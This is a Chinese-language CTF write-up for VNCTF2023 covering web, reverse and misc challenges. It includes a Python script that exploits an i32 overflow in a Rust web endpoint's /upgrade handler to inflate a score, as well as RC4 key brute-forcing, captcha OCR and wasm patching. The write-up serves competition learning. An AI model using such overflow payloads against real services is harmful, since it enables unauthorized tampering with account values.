VNCTF2023部分wp

文章目录

      • web
        • 象棋王子
        • 电子木鱼
      • REVERSE
        • PZGalaxy
      • Misc
        • 验证码
        • Snake on web
      • 总结

web

象棋王子

VNCTF2023部分wp_第1张图片
直接找js里是否有相关的代码.
VNCTF2023部分wp_第2张图片
跑一下这个代码就行。

电子木鱼

给了源码。
查看main.rs里的代码可以发现.需要让分数大于1 000 000 000.

VNCTF2023部分wp_第3张图片

重点关注upgrade方法

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
    if GONGDE.get() < 0 {
        return web::Json(APIResult {
            success: false,
            message: "功德都搞成负数了,佛祖对你很失望",
        });
    }

    if body.quantity <= 0 {
        return web::Json(APIResult {
            success: false,
            message: "佛祖面前都敢作弊,真不怕遭报应啊",
        });
    }

    if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
        let mut cost = payload.cost;

        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }

        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

        if payload.name == "Cost" {
            return web::Json(APIResult {
                success: true,
                message: "小扣一手功德",
            });
        } else if payload.name == "CCCCCost" {
            return web::Json(APIResult {
                success: true,
                message: "功德都快扣没了,怎么睡得着的",
            });
        } else if payload.name == "Loan" {
            return web::Json(APIResult {
                success: true,
                message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
            });
        } else if payload.name == "Donate" {
            return web::Json(APIResult {
                success: true,
                message: "好人有好报",
            });
        } else if payload.name == "Sleep" {
            return web::Json(APIResult {
                success: true,
                message: "这是什么?床,睡一下",
            });
        }
    }

可以看到数据类型是i32,搜一下i32的最大值 2147483647
然后post一次数据,可以发现加分了,手动模拟几次就可以发现,差值越大加的功德越多。
exp.py

# !/usr/bin/env python
# -*- coding: utf-8 -*-

# @author: yjp
# @software: PyCharm
# @file: main.py
# @time: 2023-02-18 19:45
import requests
from lxpy import copy_headers_dict

start_url = "http://8da0820f-56b5-44cf-82a5-6b920b790731.node4.buuoj.cn:81/upgrade"
headers = copy_headers_dict(
    """
    Host: 8da0820f-56b5-44cf-82a5-6b920b790731.node4.buuoj.cn:81
    Referer: http://8da0820f-56b5-44cf-82a5-6b920b790731.node4.buuoj.cn:81/
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
    """
)
for i in range(10):
    data = {
        "name": "Cost",
        # 2147483647
            "quantity": 2000000000
    }
    resp = requests.post(start_url,headers=headers,data=data).content.decode()
    print(resp)

data的key可以在
struct Info {
name: String,
quantity: i32,
}中看到

REVERSE

太菜了,就签了个到

PZGalaxy

exp.js

function Leaf(k, p) {
  var s = [], j = 0, x, res = '';
  for (var i = 0; i < 256; i++) {
    s[i] = i;
  }
  for (i = 0; i < 256; i++) {
    j = (j + s[i] + k.charCodeAt(i % k.length)) % 256;
    x = s[i];
    s[i] = s[j];
    s[j] = x;
  }
  i = 0;
  j = 0;
  for (var y = 0; y < p.length; y++) {
    i = (i + 1) % 256;
    j = (j + s[i]) % 256;
    x = s[i];
    s[i] = s[j];
    s[j] = x;
    res += String.fromCharCode(p.charCodeAt(y) ^ s[(s[i] + s[j]) % 256]);
  }
  return res;
}

var enc = ['¦', 'p', ':', 'Ü', '\x92', 'Ã', '\x97', 'ó', '\x1A', 'ß', '\b', 'Ö', 'A', ' ', '5', '\x90', '{', '\x06', 'Ô', '÷', 's', '_', '\x1D', ':', 'I', 'L', 'C', 'X', 'Ñ', '¹', 'O', '\x99', '\x85', '3', 'à', 'i', '|'];
var date = "2023";
var tmp = "";
for(var m = 1;m <13;m++){
    m = m<10?'0' + m:m;
    for(var d=0;d<32;d++){
         d = d < 10 ? '0' + d : d;
         tmp =date +  m + d;
         // console.log(tmp);
         flag = Leaf(tmp, enc.join(''));
         if(flag.substring(0, 4) ==  "flag" ){
             console.log(flag);
         }
    }

}

Misc

验证码

给了提示tupper,那么需要识别所有数字拼接成key.
验证码识别部分:

import ddddocr
res = []
ocr = ddddocr.DdddOcr()
for i in range(0,136):

    with open('imgs/{}.png'.format(i), 'rb') as f:
        img_bytes = f.read()

    tmp = ocr.classification(img_bytes).replace('o','0')
    res.append(tmp)
print(res)

还原出图像部分:

data = ['1594', '1993', '9177', '0250', '3544', '5518', '3081', '0548', '0263', '1580', '5545', '9045', '6781', '2769', '8130', '2978', '2433', '4808', '8576', '7748', '1698', '1145', '4600', '7742', '2136', '0477', '8097', '2200', '3752', '1229', '3357', '3836', '8509', '9969', '5251', '0317', '2039', '0428', '8891', '8139', '6279', '6668', '4645', '7930', '4272', '4447', '9543', '0837', '3948', '4034', '0487', '3262', '8374', '7092', '3601', '1391', '5630', '4668', '5383', '0405', '7819', '3437', '1350', '0158', '0293', '1219', '2443', '2960', '7690', '2692', '7357', '8041', '7298', '0590', '1156', '8971', '9886', '1946', '3802', '8186', '6073', '6654', '0498', '7048', '4193', '4117', '8015', '8317', '1682', '3218', '7100', '6685', '2686', '5378', '4786', '6107', '8082', '0094', '0818', '8033', '5748', '4157', '4337', '1518', '9893', '2291', '6317', '1513', '5266', '8045', '1879', '0328', '8312', '6888', '1702', '3876', '4336', '9637', '5081', '1731', '7249', '8798', '6870', '7531', '9547', '2394', '5940', '2262', '7836', '8605', '2032', '7783', '8681', '0818', '4027', '9552']
print("".join(data))
k = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552
import numpy as np
import matplotlib.pyplot as plt
from PIL import Image


def Tupper_self_referential_formula(k):
    aa = np.zeros((17, 106))

    def f(x, y):
        y += k
        a1 = 2 ** -(-17 * x - y % 17)
        a2 = (y // 17) // a1
        return 1 if a2 % 2 > 0.5 else 0

    for y in range(17):
        for x in range(106):
            aa[y, x] = f(x, y)
    return aa[:, ::-1]


# k = 960939379918958884971672962127852754715004339660129306651505519271702802395266424689642842174350718121267153782770623355993237280874144307891325963941337723487857735749823926629715517173716995165232890538221612403238855866184013235585136048828693337902491454229288667081096184496091705183454067827731551705405381627380967602565625016981482083418783163849115590225610003652351370343874461848378737238198224849863465033159410054974700593138339226497249461751545728366702369745461014655997933798537483143786841806593422227898388722980000748404719  # 输入你要提取的k
aa = Tupper_self_referential_formula(k)
plt.figure(figsize=(15, 10))
plt.imshow(aa, origin='lower')
plt.savefig("tupper.png")
img = Image.open('tupper.png')

# 翻转
dst1 = img.transpose(Image.FLIP_LEFT_RIGHT).rotate(180).rotate(180)
plt.imshow(dst1)
plt.show()

得到flag
VNCTF2023部分wp_第4张图片

Snake on web

试过转储文件搜索内存字符无果。
说明加密后的flag不在最后的data数据里
然后的思路是 wasm先转成wat,然后触发条件,再把这个修改过的wat文件改成wasm
VNCTF2023部分wp_第5张图片
这里可以看到本来ptr1 == 3,才打印flag。
在这里插入图片描述
把tartgets[0,1,2,3]改成[0,1,3,2]即可
在这里插入图片描述
修改完后使用wat2wasm game.wat -o game.wasm
然后本地运行
VNCTF2023部分wp_第6张图片

总结

太菜了,密码纯纯不会,这次一道没出。虽然有点思路,学艺不精了属于是。

你可能感兴趣的:(笔记,rust,开发语言,后端,ctf)